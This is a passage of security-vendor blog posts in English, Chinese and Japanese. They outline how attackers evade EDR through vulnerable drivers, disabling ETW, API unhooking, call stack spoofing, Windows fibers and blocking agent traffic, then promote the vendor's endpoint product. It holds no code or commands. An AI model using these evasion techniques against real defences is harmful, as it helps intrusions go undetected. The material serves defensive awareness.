From the EDR defense mechanism and the attack methods used by attackers to bypass the mechanism, we can understand the core of the EDR defense mechanism, which is to instantly detect suspicious behavior of endpoints and analyze and block malicious operations. In order to prevent the aforementioned attackers from bypassing EDR defenses, an effective threat hunting solution is needed to provide accurate and effective defense by detecting abnormal behavior of endpoints.

##Conclusion
As employees of corporate organizations use endpoint devices such as laptops more frequently to perform daily work, measures to address the aforementioned threats become even more necessary. Continue reading this series of articles "[How Cybercriminals Bypass EDR — And What Your Company Should Do (2)](https://teamt5.org/en/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2/?utm_source=blog&utm_medium=website)" to learn how enterprises and organizations can use compromise assessment to effectively respond and reduce cybersecurity risks.

>Welcome to [contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for a free trial.

 

####Reference
[1] Cyber Security News, https://cybersecuritynews.com/hookchain-edr-evasion-technique/ 
[2] DARKREADING, https://www.darkreading.com/cyberattacks-data-breaches/novel-edr-killing-ghostengine-malware-stealth 
[3] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-detection-hardware-breakpoints/ 
[4] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-as-standard-user/

How Cybercriminals Bypass EDR — And What Your Company Should Do (1)

近年來，網路攻擊手法更顯複雜，有些甚至繞過傳統 EDR 的防禦機制。

例如，攻擊手法 HookChain 並不會直接停用 API hook，而是操縱 API 流程，進而繞過 EDR 的監控功能；該技術具有極高的 EDR 檢測繞過率，經測試確認的成功率達 88% [1]。此外，還出現各類破壞 EDR 的惡意軟體 [2]，及濫用硬體斷點 [3] 、使用低權限用戶 [4] 等繞過 EDR 防禦的攻擊手法。

在此系列文章中，將首先分析攻擊者如何繞過 EDR，入侵企業系統；並在[另一篇文章](https://teamt5.org/tw/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2/?utm_source=blog&utm_medium=website)中，進一步說明企業與組織應對此類攻擊的對策。

##攻擊者繞過 EDR 機制的攻擊手法
![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1_tw_pic01.png)

<center>攻擊者繞過 EDR 機制的攻擊手法</center>

EDR 由以下組成：
- **代理程式（Agent）**：是安裝在每個端點並監控系統運作的軟體，負責接收感測器（Sensor）所收集到的遙測數據，並將其發送到管理伺服器，以進行分析。
- **管理伺服器（Management Console）**：全面分析所收集的資料，辨識攻擊和事件的跡象。

為檢測攻擊的跡象，EDR 偵測面向主要關注在：應用程式和使用者行為（如可疑程式的執行和不尋常的權限提升）；系統與外部（command & control）伺服器的異常通訊；分析 registry 的變化、腳本執行和記憶體中的異常行為。


然而，道高一尺，魔高一丈，攻擊者也持續開發新的規避手法，以繞過 EDR 監控，比如：

**1. 停止 Agent 本身運作：強制終止 EDR 的代理程式** 
具體做法為使用 BYOVD（Bring Your Own Vulnerable Driver，自帶易受攻擊的驅動程式），攻擊者將存在漏洞的核心驅動程式植入目標系統，以提升權限。藉此，攻擊者可存取核心，並停用如 EDR 等資安產品，即喪失端點的可視性，攻擊者得以進行惡意行動。 

**2. 停止紀錄功能：停用日誌紀錄並延遲偵測** 
攻擊者也會採取設法規避 Windows 事件追蹤（Event Tracing for Windows, ETW）。ETW 是 Windows 紀錄系統操作的機制，但攻擊者可以停用它，以防止留下可疑操作的紀錄；更會阻止 EDR 偵測到攻擊跡象，大幅影響 EDR 的偵測能力。 

攻擊者也可藉以下方式干擾 EDR 正常運作：

**3. 停用 EDR 監控：秘密移除 EDR 監控中的端點以繞過監控** 
由於 API 是允許程式使用作業系統和應用程式提供功能之間的接口，EDR 通常會連結重要的系統 API 來監控攻擊跡象，攻擊者可透過停用 API hook 技巧避開 EDR 監控。

**4. 偽造功能使用的歷史紀錄：使惡意軟體看起來像合法軟體** 
Call Stack Spoofing（呼叫堆疊偽造）是一種透過欺騙 Call Stack（即程式的執行歷史），使攻擊者的行為像是從受信任程式執行動作之的惡意手法，EDR 無法偵測。

此外，利用 EDR 監控範圍以外區域之方法包括：

**5. 利用 EDR 預設不監控的範圍，進而濫用某些不受 EDR 監控的軟體行為等** 
攻擊者也可能濫用纖程（Windows fiber），為一種比 thread 更輕量的程式切換機制，但有些 EDR 不監控此操作。攻擊者可以利用此特性執行惡意程式碼，同時避免 EDR 偵測。

最後，攻擊者也會採取一些策略來破壞或阻止伺服器通訊，例如：

**6. 切斷與 EDR 伺服器的通訊，阻止傳輸端點的偵測結果並停用監控** 
EDR 通常在與管理伺服器通訊時，發送偵測結果，但攻擊者可以阻止這種通訊並隔離 EDR，以阻止 EDR 回報異常情況。這實際上阻止管理層了解端點狀況，導致失去監控能力。


攻擊者透過單獨或混合使用前述方法，可以繞過 EDR 偵測，並長時間暗中潛伏，最終實現他們的惡意目標。這可能造成嚴重損害，例如客戶資料或商業機密外洩、受到勒索軟體攻擊，造成營運中斷，影響業務運作，更可能失去合作夥伴和客戶的信任。特別是如果攻擊持續較長時間，損害範圍將進一步擴大，企業與組織進行應變、復原的措施，將更顯困難。

##繞過 EDR 偵測的攻擊鏈
![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1_tw_pic2.png)

<center>EDR 是建立在網路入侵無可避免的假設下，設計上著重即時偵測傳統網路安全措施無法完全阻止的進階攻擊</center>

從[網路攻擊鏈](https://teamt5.org/tw/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website) 7 個步驟，可了解繞過 EDR 偵測的攻擊者如何滲透系統，達成最終目的：

1. **偵察（Reconnaissance）**：攻擊者首先調查有關目標個人或組織的資訊。
2. **武裝（Weaponization）**：攻擊者準備攻擊工具和惡意軟體，以及入侵後使用它們的手段。例如攻擊者利用帶有惡意腳本的偽造文檔，作為網路釣魚電子郵件的附件。
3. **遞送（Delivery）**：將準備好的攻擊工具傳送到目標端點。
4. **利用（Exploitation）**：執行所投放的惡意軟體或其他攻擊檔案，並利用漏洞滲透目標系統。例如當被鎖定的目標員工開啟附件，並執行惡意腳本時，惡意腳本會從外部伺服器下載並在背景執行。此時，EDR 監控功能被停用。
5. **安裝（Installation）**：安裝惡意程式，以允許攻擊者獲得長期存取權限。
6. **發令與控制（Command & Control）**：攻擊者透過外部 Command & control（C&C）伺服器，遠端控制受駭端點。例如攻擊者使用合法公有雲從外部發送指令，不易被資安產品判斷為惡意行為。
7. **針對目標的行動（Actions on Objectives）**：攻擊者入侵的目標是竊取資訊、破壞業務營運，或部署勒索軟體，最終導致該企業與業務相關的文件、個人資訊、身分驗證資訊和其他資料長期被竊取。


傳統的防毒軟體和防火牆可以在上述的「遞送」到「利用」過程中，應對攻擊者使用已知惡意軟體或特定網路路由器的攻擊，而 EDR 可藉由即時監控、分析及行為偵測，避免攻擊發生。然而，攻擊者不斷改進方法，以繞過 EDR 的機制，如：無檔案惡意軟體（fileless malware）、濫用合法工具的攻擊、憑證盜竊、內部網路的橫向移動。

從 EDR 的防禦機制、攻擊者繞過該機制的攻擊手法，可了解 EDR 防禦機制核心，為即時偵測端點的可疑行為，並分析、阻擋惡意操作。為了防禦前述攻擊者繞過 EDR 防禦，需要有效的威脅狩獵解決方案，透過偵測端點的異常行為等，精準且有效防禦。


##結語

當企業組織員工更頻繁使用筆電等端點裝置進行日常工作，應對前述威脅的措施更顯必要。繼續閱讀本系列文章「[繞過 EDR 防禦的攻擊手法有哪些？企業該如何應對？(2)](https://teamt5.org/tw/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2/?utm_source=blog&utm_medium=website)」，瞭解企業與組織如何採用入侵評估（compromise assessment），進行有效應對，降低資安風險。


>歡迎[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，免費試用。

 

####參考資料
[1] Cyber Security News, https://cybersecuritynews.com/hookchain-edr-evasion-technique/ 
[2] DARKREADING, https://www.darkreading.com/cyberattacks-data-breaches/novel-edr-killing-ghostengine-malware-stealth 
[3] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-detection-hardware-breakpoints/ 
[4] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-as-standard-user/

繞過 EDR 防禦的攻擊手法有哪些？企業該如何應對？(1)

近年、サイバー攻撃の手法はますます複雑化しており、中には従来のEDRの防御機能を回避するものも存在します。
 
たとえば、「HookChain」という攻撃手法は、APIフックを直接無効化するのではなく、APIの処理フローそのものを操作することで、EDRの監視機能を回避します。この技術は非常に高いEDR回避率を誇り、検証の結果、成功率は88%に達することが確認されています [1]。
 さらに、EDRを破壊する各種マルウェアの出現 [2]、ハードウェアブレークポイントの悪用 [3]、低権限ユーザーの利用 [4] など、EDRの防御をすり抜けるさまざまな攻撃手法が報告されています。
 
本シリーズでは、まず攻撃者がどのようにEDRを回避して企業システムに侵入するのかを分析し、[続く記事](https://teamt5.org/jp/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2/?utm_source=blog&utm_medium=website)にて、企業や組織がこのような攻撃にどのように対処すべきかを詳しく解説します。

##攻撃者がEDRを回避する主な攻撃手法

![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1_jp_01.jpg)
<center>図解：攻撃者がEDRの仕組みを回避する攻撃手法</center>

 

EDR（エンドポイント検出・対応）は、以下の主要なコンポーネントで構成されています：
- **エージェント（Agent）**：各エンドポイントにインストールされるソフトウェアで、システムの動作を監視します。センサー（Sensor）が収集したテレメトリーデータを受け取り、それを管理サーバーに送信して解析を行います。
- **管理サーバー（Management Console）**：収集されたデータを総合的に分析し、攻撃やインシデントの兆候を識別します。

EDRは攻撃の兆候を検出するため、以下のような観点に重点を置いて監視を行います：
- アプリケーションやユーザーの挙動（例：不審なプログラムの実行や異常な権限昇格）
- システムと外部のC2（command & control）サーバーとの異常通信
- レジストリの変更、スクリプトの実行、メモリ上の不正動作の分析

 

しかし、「道高ければ魔盛んなり（＝技術が進歩すれば攻撃者もそれに対抗して進化する）」と言われるように、攻撃者もEDRの監視を回避するために、日々新たな手法を開発しています。たとえば：

**1. エージェント自体の停止：EDRエージェントの強制終了** 
攻撃者は、EDRのエージェント（Agent）プロセスを直接停止させることで、EDRの監視機能を無力化することがあります。
 具体的な手法としては、「BYOVD（Bring Your Own Vulnerable Driver）」が用いられます。これは、既知の脆弱性を持つカーネルドライバーを攻撃者自身が持ち込み、対象システムに導入することで権限昇格を行うものです。
 この方法により、攻撃者はカーネル空間へのアクセスを獲得し、EDRなどのセキュリティ製品を停止・無効化できます。これによってエンドポイントの可視性が失われ、攻撃者は気付かれずに悪意のある行動を取ることが可能になります。
 
** 2. ログ記録機能の無効化：イベントログの停止と検知の遅延** 
攻撃者は、Windowsのイベントトレース機構である「ETW（Event Tracing for Windows）」の回避を試みることがあります。
 ETWは、システム操作のログを収集・記録する仕組みであり、EDRが不審な挙動を検知するための重要な情報源です。
 しかし、攻撃者がETWを無効化すると、不審な行動の記録が残らなくなり、EDRの検出能力が大幅に低下します。これにより、攻撃の兆候がログに残らず、検知までの時間が遅延し、被害が拡大する恐れがあります。
 
攻撃者がEDRの正常な機能を妨害するその他の手法： 
**3. EDRの監視を無効化：監視対象のエンドポイントを密かに除外** 
EDRは、攻撃の兆候を検出するために、重要なシステムAPIをフック（hook）して監視を行います。APIとは、プログラムがOSやアプリケーションの機能を利用するためのインターフェースです。

攻撃者は、これらのAPIフックを無効化することで、EDRの監視を回避できます。このようにして、EDRがエンドポイントの動作を追跡できなくなり、攻撃の痕跡を隠すことが可能になります。

**4. 機能使用履歴の偽装：マルウェアを正規ソフトに見せかける** 
「Call Stack Spoofing（コールスタック偽装）」は、攻撃者の行為をあたかも信頼されたプログラムから実行されたかのように見せかける手法です。
 この手法では、プログラムの実行履歴である「コールスタック」を改ざんし、EDRが不審な動作として検知しにくくします。結果として、悪意のある挙動が正規の操作に見えるため、EDRの監視をすり抜けることができます。

**5. EDRの監視外を利用した攻撃：未監視領域の悪用** 
一部の攻撃者は、EDRがデフォルトで監視していない範囲を悪用することもあります。
 たとえば、「Windows Fiber（ファイバー）」と呼ばれる、スレッドよりも軽量な実行単位を使った切り替え機構を用いる手法です。
 多くのEDRはファイバーの挙動を監視していないため、攻撃者はこの技術を利用して悪意のあるコードを実行し、検知を回避できます。

最後に、攻撃者はサーバーとの通信を妨害・遮断するための戦略を取ることもあります。例えば： 
**6. EDRサーバーとの通信を遮断し、検知結果の送信を妨害・監視を無効化** 
EDRは通常、各エンドポイントで検知した情報を管理サーバーに送信することで、攻撃の兆候をリアルタイムで報告します。
 しかし、攻撃者はこの通信を遮断・妨害することで、EDRをネットワーク上で孤立させ、異常の報告を不能にします。これにより、管理者はエンドポイントの状態を把握できなくなり、実質的に監視機能が無力化されてしまいます。

攻撃者は、ここまで紹介したようなEDR回避手法を**単独または組み合わせて使用**することで、EDRによる検知をすり抜け、長期間にわたりネットワーク内に潜伏することが可能になります。

 その結果、最終的な悪意ある目的を達成するに至ることも少なくありません。

このような攻撃が成功した場合、企業・組織には以下のような**深刻な被害**が及ぶ可能性があります：

- 顧客情報や企業秘密の流出
- ランサムウェア攻撃による業務停止
- サービス提供の中断による売上損失
- 顧客や取引先からの信頼喪失
- コンプライアンス違反による法的責任や制裁

特に、攻撃が長期間継続した場合には、被害の範囲はさらに拡大し、対応・復旧にかかる時間とコストは膨大になります。企業の信用や競争力の低下にもつながりかねず、抜本的な対応策が求められます。

##EDR検知を回避する攻撃チェーン
![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1_jp_02.jpg)

<center>図解：EDRは、「侵入は完全には防げない」という前提に基づいて設計されており、従来のネットワークセキュリティでは防ぎきれない高度な攻撃を、リアルタイムで検知することに重点を置いている。</center>

[ネットワーク攻撃チェーン](https://teamt5.org/jp/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website)の7つのステップから、EDR（エンドポイント検知・対応）を回避して攻撃者がどのようにシステムに侵入し、最終目的を達成するかを理解できます：

**1.偵察（Reconnaissance）：**
攻撃者は最初に、対象の個人または組織に関する情報を収集します。
 
**2.武装（Weaponization）：**
攻撃者は攻撃に使用するツールやマルウェアを準備し、それらを侵入後にどのように使うかを計画します。たとえば、攻撃者は悪意のあるスクリプトを含んだ偽の文書を作成し、フィッシングメールの添付ファイルとして使用します。

**3.配信（Delivery）：**
 準備した攻撃ツールをターゲットのエンドポイントへ送信します。

**4.悪用（Exploitation）：**
送られたマルウェアや他の攻撃ファイルが実行され、脆弱性を突いてターゲットのシステムへ侵入します。たとえば、標的となった社員が添付ファイルを開き、悪意あるスクリプトを実行すると、そのスクリプトが外部サーバーからマルウェアをダウンロードし、バックグラウンドで実行されます。この時点で、EDRの監視機能は無効化されています。

**5.インストール（Installation）：**
マルウェアがインストールされ、攻撃者が長期間にわたってアクセスできる状態が構築されます。
 
**6.指令と制御（Command & Control）：**
攻撃者は外部のC&C（Command & Control）サーバーを通じて、侵入したエンドポイントを遠隔操作します。たとえば、攻撃者は正規のパブリッククラウドを利用してコマンドを送信するため、セキュリティ製品による悪意ある行為の検知を回避しやすくなります。
 
**7.目的達成のための行動（Actions on Objectives）：**
攻撃者の最終目的は、情報の窃取、業務の破壊、またはランサムウェアの展開です。これにより、企業の業務関連文書、個人情報、認証情報などのデータが長期にわたって窃取される恐れがあります。

従来のアンチウイルスソフトやファイアウォールは、「配信」から「悪用」の過程において、既知のマルウェアや特定のネットワークルーターを狙った攻撃に対応可能です。一方で、EDRはリアルタイムの監視、分析、および振る舞い検知を通じて攻撃を未然に防ぎます。しかし、攻撃者はEDRの仕組みを回避する手法を絶えず進化させています。例えば、ファイルレスマルウェア（fileless malware）、正規ツールの悪用、認証情報の窃取、内部ネットワークでの横移動などが挙げられます。

EDRの防御メカニズムと、それを回避しようとする攻撃者の手法を理解することで、EDRの核となる役割が明らかになります。それは、エンドポイント上の疑わしい振る舞いをリアルタイムに検知し、解析し、悪意ある動作を阻止することです。前述の攻撃者によるEDR回避を防ぐためには、効果的な脅威ハンティング（Threat Hunting）ソリューションが必要です。これはエンドポイント上の異常な振る舞いを検出し、精度高くかつ効果的に防御する手段となります。


##まとめ
企業や組織の従業員がノートパソコンなどのエンドポイント機器を日常業務でより頻繁に使用する中で、前述の脅威に対する対策の重要性はますます高まっています。
本シリーズ記事「[EDR防御を回避する攻撃手法とは？企業はどう対応すべきか？（2）](https://teamt5.org/jp/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2/?utm_source=blog&utm_medium=website)」をぜひご覧いただき、企業や組織がどのように侵害評価（Compromise Assessment）を活用し、効果的に対処してサイバーリスクを低減できるかご参照ください。

>お気軽に[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)ください。無料トライアルもご利用いただけます。


####参考文献
[1] Cyber Security News, https://cybersecuritynews.com/hookchain-edr-evasion-technique/ 
[2] DARKREADING, https://www.darkreading.com/cyberattacks-data-breaches/novel-edr-killing-ghostengine-malware-stealth 
[3] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-detection-hardware-breakpoints/ 
[4] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-as-standard-user/

EDRを回避する攻撃手法にはどのようなものがあるのか？企業はどのように対策すべきか？ (1)

Cybersecurity incidents occur frequently. [The Global Risks Report 2024 of the World Economic Forum (WEF)](https://www.weforum.org/publications/global-risks-report-2024/) predicts that cyber insecurity will be the main source of risk in the technology field between 2025 and 2026. Over the two-year period, cyber insecurity will be ranked fourth among top 10 severe global risks.

Since cybersecurity risks must not be ignored, enterprises and organizations should seek appropriate security measures. The endpoints, such as the desktops and laptops, are part of a defense-in-depth strategy for security controls. Regardless of Windows, MacOS or Linux operating systems, all endpoints are all likely to be targeted and invaded by attackers.

In order to reduce cybersecurity risks for enterprises and organizations, Managed Security Service Providers (MSSPs) need efficient endpoint detection and response tools (EDR) to help cybersecurity teams quickly defend against evolving threats, prevent cybersecurity attacks from disrupting daily operations, and reduce possible operational risks.

To achieve efficient cybersecurity measures with simplicity, EDR needs to have the following 3 key features: 

**1. Automatically track potential threats, simplify the troubleshooting process, and improve threat hunting efficiency**

EDR monitors endpoints and detects threats in real time, automatically tagging abnormal behaviors (such as malware execution or unusual logins) without complex manual analysis. Compared with conventional multi-layered tools, EDR has an easy-to-use interface that allows security teams to quickly focus on high-risk issues.

**2. Visualized display of cybersecurity situation, easy to grasp potential risks**

Transform complex suspicious paths into understandable information with EDR’s threat event timeline and visualized reports. Compared with the lengthy logs generated by conventional tools, visualized endpoints associated with high-risk events can help teams quickly determine the compromised scope to facilitate further response measures.

**3. Automatically generate summary reports to improve management efficiency**

Automatically generate summary reports that summarize key information about cybersecurity incidents, such as threat sources, lists of high-risk endpoints, and other related information. This saves cybersecurity teams efforts in manually sorting through large amounts of data, making it ideal for managers to quickly understand endpoint status.

 
##ThreatSonar Anti-Ransomware: User-friendly Interface, Easy Management, Quick Response

The intuitive interface of the [ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website) can help the cybersecurity team to easily manage and quickly handle cybersecurity incidents.

 

###Visualized Dashboard: Understand the endpoints status and potential risks at a glance

![](https://uploads.teamt5.org/upload/original/en_1_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

To allow users to comprehensively grasp potential threats, the dashboard has the following features:

**1. Visualize key indicators to easily overview the cybersecurity posture**

- Display the current status of important endpoints by easy-to-understand charts, saving time in collecting data and statistics, and improving management efficiency.

**2. Flexible interface design for easy customization to meet diverse demands in different management scenarios**

- Users can easily add or remove widgets from the dashboard. 

**3. Interactive user-centric design to better present information**

- Easy-to-use intuitive design enables users to preview advanced information of each section by hovering, quickly grasping key information.
- If further details are needed, users can click on the links to be directed to the relevant pages.

 

###Threat Tracer: Automatically track potential threats, simplify the troubleshooting process, and improve threat hunting efficiency

![](https://uploads.teamt5.org/upload/original/en_2_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

With pre-defined threat hunting rulesets, the cybersecurity team can save time on processing threat hunting routines, focusing on potential threats in the environment, and quickly reviewing the status of automatic threat hunting. The rulesets can assist the team accurately grasp threat risks to facilitate subsequent incident investigation and analysis.

The main threat hunting rule types of ThreatSonar include:
- **Cyber Hygiene**: Check whether there is any software that may pose a security threat, such as remote desktop software (RDS) and portable software.
- **Suspicious Files**: Check whether there are suspicious programs that disguise as system files, files with suspicious creation times, suspicious files being located and deleted, etc.
- **Suspicious Processes**: Check whether there are any injected suspicious processes, auto-run programs, suspicious ransomware behaviors, etc.
- **Suspicious Dynamic Link Libraries**: Check whether there are suspicious dynamic link libraries (DLLs) with path hijack, suspicious DDLs with hidden file attributes, etc.
- **Others**: Check whether the credentials are used by SoftEther VPN attackers to penetrate the intranet.

Users can also use the chart to view the trend of the total number of endpoints, file names, and hashes that match the rulesets within a specific time period. This feature can automatically track potential threats over a long term, helping users to quickly understand significant changes. This can also benefit MSSP to save workforces and time on dealing with cybersecurity incidents.

 

##Summary Report: Automatically generated, save your time and efforts

![](https://uploads.teamt5.org/upload/original/en_3_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

This function can help users to review the cybersecurity situation based on their needs, list high-risk endpoints that need attention, and automatically generate summary reports. It can also set up scheduled reports and group emails.

> For Managed Security Service Providers (MSSPs), this feature includes a "Customer" option, allowing them to easily identify which reports belong to which customer. This enables MSSPs to monitor the status of all customers on a single screen without the need to switch views.

Summary reports automatically compile a variety of statistical data and present them in charts, eliminating the need for cybersecurity teams to manually sort through large amounts of data. At the same time, users can customize summary report items and schedules to facilitate MSSPs to manage endpoint monitoring for different customers, view potential threat risks of all endpoints, and improve response efficiency.

Examples: 

**1. Threat Level Stat. CA/Anti-Ransomware**: Display the number of endpoints that have Level 1 ~ Level 5 threat incidents. Users can have the overview of endpoints with different threat levels from the chart.

![](https://uploads.teamt5.org/upload/original/en_4_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

**2. CA High-Level Analysis: **
Display the number of endpoints that have Level 4 and Level 5 threat incidents for further analysis or status checking. The Level-5 and Level-4 endpoint list with detailed information, including hostname, IP, OS version and other information regarding "Threats", "Network" and "Event log". 

The "Threats" information displays the attributes and file paths; "Network" displays the IP and domain; "Event log" displays the attributes, Windows Event ID and related information.

![](https://uploads.teamt5.org/upload/original/en_5_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

 

##Summary
Since cyber threats have become a challenge that enterprises and organizations must address, it is imperative to adopt highly effective protection strategies. To minimize these risks, it is crucial to deploy an excellent EDR, which not only can enable efficient defense in an easy-to-use and easy-to-understand manner, but also facilitates enterprises to seize the opportunity and respond quickly to cybersecurity incidents.

TeamT5's endpoint detection and response solution "[ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)" delivers all the capabilities an effective EDR shall have, which are "Automatically track potential threats", "intuitive and visualized display of cybersecurity situation", "automatically generated summary reports to better management efficiency". It was honored with the [COMPUTEX Best Choice Award - Golden Award](https://bcaward.computex.biz/WinnerYearDetail.aspx?index=9390&awtype=000000001&year=2024&sort=2), making it the best choice for enterprises and organizations. The intelligence-driven solution continues to help enterprises and organizations to cope with frequent cybersecurity attacks.

[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for a free trial.



>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023-2024 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions - [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website).

Simplify Complex Cybersecurity: Smarter Endpoint Monitoring & Management

資安事件頻繁發生，世界經濟論壇（World Economic Forum, WEF）的[《2024年全球風險報告》（The Global Risks Report 2024）](https://www.weforum.org/publications/global-risks-report-2024/)即預測於 2025-2026 年間，資訊安全風險（cyber insecurity）是科技領域中最主要的風險來源；而在此期間，資訊安全風險更在所有類型的風險中名列第 4。

資安風險不容忽視，企業與組織應尋求良好的應對與管理方法。端點為縱深防禦的一環，範圍涵蓋員工使用的桌上型電腦、筆記型電腦；且不論是 Windows、MacOS 或 Linux 作業系統，皆有遭受攻擊者鎖定與入侵的可能性。

要為企業與組織降低資安風險，資安託管服務廠商（Managed Security Service Providers, MSSP）需要高效的端點偵測與應變工具（Endpoint Detection and Response, EDR），協助資安團隊快速應對不斷進化的威脅，避免資安攻擊影響企業日常運作，降低可能的營運風險。

要達到上述「事半功倍」之效，EDR 需具備以下三項關鍵特點： 
**1. 自動追蹤潛在威脅，簡化排查流程，提升威脅狩獵效率**
能即時監控端點與偵測威脅、自動標記異常行為（如惡意軟體執行或異常登入），且無需複雜的手動分析。相較於傳統的多層次工具堆疊，EDR 介面易於使用，有助於資安團隊迅速聚焦問題核心。

**2. 視覺化呈現資安態勢，易於掌握潛在風險**
藉由 EDR 的威脅事件時間軸和視覺化報告，將複雜的可疑路徑轉化為易懂的資訊。相較於傳統工具的冗長日誌，以圖像化方式呈現與高風險事件相關聯的端點，可協助團隊快速判斷遭駭範圍，並進一步採取應變處置。

**3. 自動產生摘要報告，提升管理效率**
自動產生摘要報告，將資安事件的關鍵資訊（包括威脅來源、高風險端點清單等）彙整呈現，資安團隊無需從大量數據中手動整理，有助於管理者快速掌握端點狀況。

 

##ThreatSonar Anti-Ransomware 易於使用、方便管理、快速應變

[ThreatSonar Anti-Ransomware 威脅鑑識與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)的直覺式介面設計，可協助資安團隊方便管理，快速應對資安事件。

 

###儀表板（Dashboard）視覺化呈現資安態勢，易於掌握場域端點狀況與潛在風險

![](https://uploads.teamt5.org/upload/original/tw_1_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)


為讓使用者全方位掌握可能潛在威脅，儀表板具備下列特點：

**1. 視覺化呈現關鍵指標數據，一次綜覽場域安全態勢**
- 以圖表呈現重要端點現況，節省資料彙整統計時間，提升管理效率。

**2. 彈性化介面設計，可按需求客製化，滿足不同管理情境需求**
- 使用者可新增或移除 Widget（小工具），因應各種管理需求。

**3. 使用者導向的互動式設計，提升資訊易讀性**
- 介面採易於使用的互動式設計，使用者移動游標即可預覽各區段的進階資訊，快速掌握重要資訊。
- 如需更多詳細資訊，可透過各相關功能頁面的連結，跳轉到詳細資訊頁面。

 

###威脅追蹤：自動追蹤潛在威脅，簡化排查流程，提升威脅狩獵效率

![](https://uploads.teamt5.org/upload/original/tw_2_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

使用者可訂閱固定使用的威脅狩獵規則，讓資安團隊可持續監控威脅狩獵的例行項目、關注環境中的潛在威脅，並快速調閱自動化端點威脅狩獵情況，精準掌握威脅風險以利後續事件調查與分析。

ThreatSonar 的主要威脅狩獵規則類型包括：
- **網路衛生**：檢視是否存在遠端桌面軟體（Remote desktop software, RDS）、可攜式軟體（portable software）等各種可能造成資安威脅的軟體。
- **可疑檔案**：檢視是否存在偽裝系統檔案的可疑程式、可疑建立時間檔案、已刪除的可疑檔案等。
- **可疑處理程序**：檢視是否存在被注入的可疑程序（Process）、自啟動及連網功能的程序、可疑的勒索軟體行為等。
- **可疑動態連結程式庫**：檢視是否存在具有特殊路徑劫持能力的可疑動態連結函式庫 （DLL）、具隱藏檔案屬性的可疑動態連結函式庫等。
- **其他**：如檢視是否有 SoftEther VPN 攻擊者將憑證用於內網穿透等情況。

同時，使用者也可藉由命中狩獵規則總數的趨勢圖，查看特定期間內命中該規則的端點、檔案名稱、Hash 總數的變化趨勢。運用此功能，使用者能以自動化方式長期追蹤潛在威脅，快速掌握顯著的趨勢變化，使 MSSP 節省管理的人力與時間。

 

###摘要報告：自動產生摘要報告、彙整監控結果，節省管理人力與時間

![](https://uploads.teamt5.org/upload/original/tw_3_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

此功能可協助使用者按照需求綜覽場域資安情況，列出需要關注的高風險端點，並自動產生摘要報告，還可排定報告產生時程和設定群組寄信。

> 針對資安託管服務廠商（MSSP），本功能提供「客戶」選項，協助廠商快速辨識個別報告隸屬的客戶；透過單一畫面，無需切換即可掌握所有客戶狀況。

摘要報告自動彙整多種統計數據，並以圖表呈現，省卻資安團隊手動整理大量數據的心力。使用者也可自訂摘要報告項目和排程，方便 MSSP 管理不同客戶的端點監控，盤點所有端點的潛在威脅風險，提升應對處置的效率。


範例： 
**1. 威脅等級統計 CA/威脅等級統計 Anti-Ransomware**：統計每日 Level 1 ~ Level 5 事件的端點數，使用者可從圖表了解各風險等級的端點總數。

![](https://uploads.teamt5.org/upload/original/tw_4_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

**2. 端點威脅列表 CA**：呈現最高等級（Level 5 與 Level 4）的端點清單，詳列端點主機名稱、IP、作業系統版本等資訊，並列出偵測到的「威脅」、「網路」與「事件紀錄」。

「威脅」資訊中顯示 Level 4 以上威脅事件的屬性與檔案路徑；「網路」則顯示 IP 與網域；「事件紀錄」則顯示屬性、Windows 事件日誌 ID 與相關資訊。

![](https://uploads.teamt5.org/upload/original/tw_5_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

 

##結語

有鑑於資安威脅已成為企業與組織無法忽視的挑戰，採取效果卓著的防護策略勢在必行。為將這些風險降至最低，部署一套出色的端點偵測與應變工具（Endpoint Detection and Response, EDR）至關重要；這套工具必須要易於操作，提供的資訊易於理解，才能讓企業掌握時機，快速應對資安事件，實現高效防禦。

